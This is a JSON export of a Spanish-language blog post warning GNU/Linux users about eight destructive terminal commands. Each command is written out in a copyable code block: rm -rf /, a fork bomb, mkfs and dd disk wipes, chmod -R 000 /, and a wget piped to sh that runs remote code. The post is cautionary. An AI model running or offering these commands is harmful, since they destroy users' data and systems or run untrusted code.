{"id":4283,"date":"2025-04-30T08:00:00","date_gmt":"2025-04-30T08:00:00","guid":{"rendered":"https:\/\/elasvi.com\/?p=4283"},"modified":"2025-04-23T19:46:25","modified_gmt":"2025-04-23T19:46:25","slug":"8-comandos-peligrosos-que-pueden-destruir-tu-sistema-gnu-linux","status":"publish","type":"post","link":"https:\/\/elasvi.com\/index.php\/2025\/04\/30\/8-comandos-peligrosos-que-pueden-destruir-tu-sistema-gnu-linux\/","title":{"rendered":"8 comandos peligrosos que pueden destruir tu sistema GNU\/Linux"},"content":{"rendered":"\n<!DOCTYPE html>\n<html lang=\"es\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>\u00cdndice &#8211; Instalaci\u00f3n de WordPress en Debian<\/title>\n    <style>\n        \/* Estilos para el \u00edndice *\/\n        .index {\n            background-color: #f4f4f4;\n            border: 1px solid #ddd;\n            border-radius: 10px;\n            box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.2);\n            padding: 20px;\n            margin-bottom: 20px;\n        }\n\n        .index h2 {\n            font-size: 1.8em;\n            color: #333;\n            margin-bottom: 10px;\n        }\n\n        .index ul {\n            list-style-type: none;\n            padding: 0;\n        }\n\n        .index li {\n            margin: 6px 0;\n            padding-left: 10px;\n            border-left: 4px solid transparent;\n            transition: transform 0.2s;\n        }\n\n        .index a {\n            text-decoration: none;\n            color: #0073e6;\n            font-weight: bold;\n            transition: color 0.3s;\n        }\n\n        .index a:hover {\n            color: #0052a5;\n        }\n\n        .index li:hover {\n            transform: scale(1.05);\n        }\n\n        .index .nivel-1 {\n            margin-left: 5px;\n            border-left-color: #0073e6;\n        }\n\n        .index .nivel-2 {\n            margin-left: 20px;\n            border-left-color: #0052a5;\n        }\n\n        .index .nivel-3 {\n            margin-left: 35px;\n            border-left-color: #003b73;\n        }\n\n        .code-container {\n            position: relative;\n            border: 1px solid #ddd;\n            border-radius: 4px;\n            background: #f8f8f8;\n            margin: 8px 0;\n            padding: 15px;\n            font-family: monospace;\n            overflow: auto;\n        }\n\n        .copy-button {\n            position: absolute;\n            top: 10px;\n            right: 10px;\n            background: #0078D7;\n            color: white;\n            border: none;\n            border-radius: 3px;\n            padding: 6px 10px;\n            font-size: 12px;\n            cursor: pointer;\n        }\n\n        .copy-button:hover {\n            background: #005A9E;\n        }\n\n        .custom-pre {\n            margin: 0;\n            padding: 10px;\n            overflow-x: auto;\n        }\n\n        .custom-p {\n            margin: 6px 0;\n            line-height: 1.6;\n        }\n\n        .custom-ul {\n            margin: 6px 0;\n        }\n\n        .custom-h3,\n        .custom-h4,\n        .custom-h5 {\n            margin: 15px 0 8px;\n        }\n\n        .custom-h3 {\n            font-size: 1.8em;\n            color: #2c3e50;\n            font-weight: bold;\n            margin-top: 20px;\n            margin-bottom: 10px;\n            border-bottom: 2px solid #3498db;\n            padding-bottom: 5px;\n        }\n\n        .custom-h4 {\n            font-size: 1.4em;\n            color: #34495e;\n            font-weight: bold;\n            margin-top: 15px;\n            margin-bottom: 8px;\n            padding-left: 10px;\n            border-left: 4px solid #3498db;\n        }\n\n        .custom-h5 {\n            font-size: 1.2em;\n            color: #4a5568;\n            \/* Un color m\u00e1s suave para marcar la jerarqu\u00eda *\/\n            font-weight: bold;\n            margin-top: 12px;\n            margin-bottom: 6px;\n            padding-left: 8px;\n            border-left: 3px solid #3498db;\n            \/* Un borde similar al h4 pero m\u00e1s delgado *\/\n        }\n\n        .custom-code {\n            background-color: #f4f4f4;\n            padding: 2px 4px;\n            border-radius: 4px;\n        }\n\n        .image-row {\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            gap: 20px;\n            margin-bottom: 20px;\n        }\n\n        .image-container {\n            text-align: center;\n        }\n\n        .styled-image {\n            max-width: 100%;\n            height: auto;\n            border-radius: 5px;\n            border: 2px solid #ccc;\n            margin: 10px 0;\n        }\n    <\/style>\n<\/head>\n\n<body>\n    <!-- titleComment: 8 comandos peligrosos que pueden destruir tu sistema GNU\/Linux -->\n    <section>\n\n        <p class=\"custom-p\">\n            Evita estos comandos en tu terminal GNU\/Linux, podr\u00edan borrar tus archivos o da\u00f1ar el sistema.\n            Contin\u00faa leyendo o, si prefieres, haz\n            <a href=\"https:\/\/youtu.be\/ilb5J2tY1Q4\" target=\"_blank\" rel=\"noopener noreferrer\">CLICK AQU\u00cd<\/a>\n            para ver un tutorial paso a paso en YouTube\n            <img decoding=\"async\" src=\"https:\/\/elasvi.com\/wp-content\/uploads\/2025\/01\/YouTube_icon.png\" alt=\"YouTube\"\n                style=\"width: 20px; vertical-align: middle;\">\n        <\/p>\n\n    <\/section>\n\n    <div class=\"index\">\n        <h2>Contenido:<\/h2>\n        <ul class=\"custom-ul\">\n            <li class=\"nivel-1\">\n                <a href=\"#section1\">1. Introducci\u00f3n: Comandos que pueden destruir tu sistema GNU\/Linux<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section2\">2. Comando para borrar todo el sistema<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section3\">3. Comando para borrar tu carpeta personal<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section4\">4. Bomba fork que satura tu sistema<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section5\">5. Formatear un disco con mkfs<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section6\">6. Sobrescribir el disco con ceros usando dd<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section7\">7. Ejecutar scripts de internet sin revisar<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section8\">8. Mover todo el sistema al vac\u00edo<\/a>\n            <\/li>\n\n            <li class=\"nivel-1\">\n                <a href=\"#section9\">9. Quitar permisos a todo el sistema<\/a>\n            <\/li>\n        <\/ul>\n    <\/div>\n\n    <article>\n\n        <h3 id=\"section1\" class=\"custom-h3\">1. Introducci\u00f3n: Comandos que pueden destruir tu sistema GNU\/Linux<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Al usar la terminal de GNU\/Linux tienes mucho poder&#8230; y tambi\u00e9n muchas formas de romper tu sistema si\n                no tienes cuidado.<\/li>\n            <li>En esta gu\u00eda te muestro <strong>8 comandos extremadamente peligrosos<\/strong> que jam\u00e1s deber\u00edas\n                ejecutar sin saber exactamente lo que est\u00e1s haciendo.<\/li>\n            <li>Algunos de estos comandos pueden <strong>borrar tu disco, eliminar tu carpeta personal o dejar el\n                    sistema inusable<\/strong> con solo presionar Enter.<\/li>\n            <li>Si ves alguno de estos en foros, redes sociales o comentarios: <strong>rep\u00f3rtalo o ign\u00f3ralo<\/strong>. No\n                son bromas inocentes.<\/li>\n        <\/ul>\n        <div class=\"image-container\">\n            <img decoding=\"async\" src=\"https:\/\/elasvi.com\/wp-content\/uploads\/2025\/04\/01-1.jpg\" alt=\"undefined\" class=\"styled-image\" \/>\n        <\/div>\n\n\n        <h3 id=\"section2\" class=\"custom-h3\">2. Comando para borrar todo el sistema<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Este comando borra todo el sistema sin pedir confirmaci\u00f3n.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>sudo rm -rf \/<\/code><\/pre>\n            <\/div>\n\n            <li>No deja ni el sistema operativo, ni archivos personales. <strong>\u00a1Destruye todo!<\/strong><\/li>\n        <\/ul>\n\n        <h3 id=\"section3\" class=\"custom-h3\">3. Comando para borrar tu carpeta personal<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Este comando elimina todos los archivos dentro de tu carpeta personal.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>sudo rm -rf ~\/*<\/code><\/pre>\n            <\/div>\n\n            <li>Incluye documentos, configuraciones, fotos y m\u00e1s. <strong>No se puede recuperar f\u00e1cilmente.<\/strong>\n            <\/li>\n        <\/ul>\n\n        <h3 id=\"section4\" class=\"custom-h3\">4. Bomba fork que satura tu sistema<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Este c\u00f3digo crea miles de procesos hasta colapsar el sistema.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>:(){ :|:& };:<\/code><\/pre>\n            <\/div>\n\n            <li>Tu equipo se congelar\u00e1 o reiniciar\u00e1. <strong>No lo ejecutes por curiosidad.<\/strong><\/li>\n        <\/ul>\n\n        <h3 id=\"section5\" class=\"custom-h3\">5. Formatear un disco con mkfs<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Formatea completamente el disco seleccionado.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>mkfs.ext4 \/dev\/sdX<\/code><\/pre>\n            <\/div>\n\n            <li>Reemplaza &#8216;<strong>\/dev\/sdX<\/strong>&#8216; con el nombre del disco, y perder\u00e1s todo su contenido.<\/li>\n        <\/ul>\n        <script async\n            src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-2225321393472807\"\n            crossorigin=\"anonymous\"><\/script>\n        <ins class=\"adsbygoogle\" style=\"display:block; text-align:center;\" data-ad-layout=\"in-article\"\n            data-ad-format=\"fluid\" data-ad-client=\"ca-pub-2225321393472807\" data-ad-slot=\"4989322001\"><\/ins>\n        <script>\n            (adsbygoogle = window.adsbygoogle || []).push({});\n        <\/script>\n\n\n        <h3 id=\"section6\" class=\"custom-h3\">6. Sobrescribir el disco con ceros usando dd<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Este comando borra todo el disco sin posibilidad de recuperaci\u00f3n.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>dd if=\/dev\/zero of=\/dev\/sdX bs=1M<\/code><\/pre>\n            <\/div>\n\n            <li>Sobrescribe el disco con ceros, eliminando absolutamente todo.<\/li>\n        <\/ul>\n\n        <h3 id=\"section7\" class=\"custom-h3\">7. Ejecutar scripts de internet sin revisar<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Descargar y ejecutar scripts desconocidos puede instalar malware.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>wget http:\/\/script-raro.sh | sh<\/code><\/pre>\n            <\/div>\n\n            <li>Siempre revisa el contenido antes de ejecutarlo. <strong>Podr\u00eda robar tus datos o instalar accesos\n                    remotos.<\/strong><\/li>\n        <\/ul>\n\n        <h3 id=\"section8\" class=\"custom-h3\">8. Mover todo el sistema al vac\u00edo<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Intenta mover todo tu sistema al dispositivo nulo &#8216;<strong>\/dev\/null<\/strong>&#8216;.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>mv \/ \/dev\/null<\/code><\/pre>\n            <\/div>\n\n            <li>Todo lo que se mueva a <code class='custom-code'>\/dev\/null<\/code> se pierde para siempre.<\/li>\n        <\/ul>\n\n        <h3 id=\"section9\" class=\"custom-h3\">9. Quitar permisos a todo el sistema<\/h3>\n        <ul class=\"custom-ul\">\n            <li>Este comando elimina todos los permisos del sistema.<\/li>\n\n            <div class=\"code-container\">\n                <button class=\"copy-button\" onclick=\"copyCode(this)\">Copiar<\/button>\n                <pre class=\"custom-pre\"><code>chmod -R 000 \/<\/code><\/pre>\n            <\/div>\n\n            <li>Ni siquiera el administrador podr\u00e1 acceder. El sistema dejar\u00e1 de funcionar correctamente.<\/li>\n        <\/ul>\n        <script async\n            src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-2225321393472807\"\n            crossorigin=\"anonymous\"><\/script>\n        <ins class=\"adsbygoogle\" style=\"display:block; text-align:center;\" data-ad-layout=\"in-article\"\n            data-ad-format=\"fluid\" data-ad-client=\"ca-pub-2225321393472807\" data-ad-slot=\"4989322001\"><\/ins>\n        <script>\n            (adsbygoogle = window.adsbygoogle || []).push({});\n        <\/script>\n\n\n    <\/article>\n\n    <script>\n        function copyCode(button) {\n            navigator.clipboard.writeText(button.nextElementSibling.innerText);\n            button.textContent = '\u00a1Copiado!';\n            setTimeout(() => button.textContent = 'Copiar', 2000);\n        }\n    <\/script>\n<\/body>\n\n<\/html>\n","protected":false},"excerpt":{"rendered":"<p>Evita estos comandos en tu terminal GNU\/Linux, podr\u00edan borrar tus archivos o da\u00f1ar el sistema.<\/p>\n","protected":false},"author":1,"featured_media":4286,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[173],"tags":[174],"class_list":["post-4283","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-gnu-linux","tag-gnu-linux"],"_links":{"self":[{"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/posts\/4283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/comments?post=4283"}],"version-history":[{"count":3,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/posts\/4283\/revisions"}],"predecessor-version":[{"id":4287,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/posts\/4283\/revisions\/4287"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/media\/4286"}],"wp:attachment":[{"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/media?parent=4283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/categories?post=4283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elasvi.com\/index.php\/wp-json\/wp\/v2\/tags?post=4283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}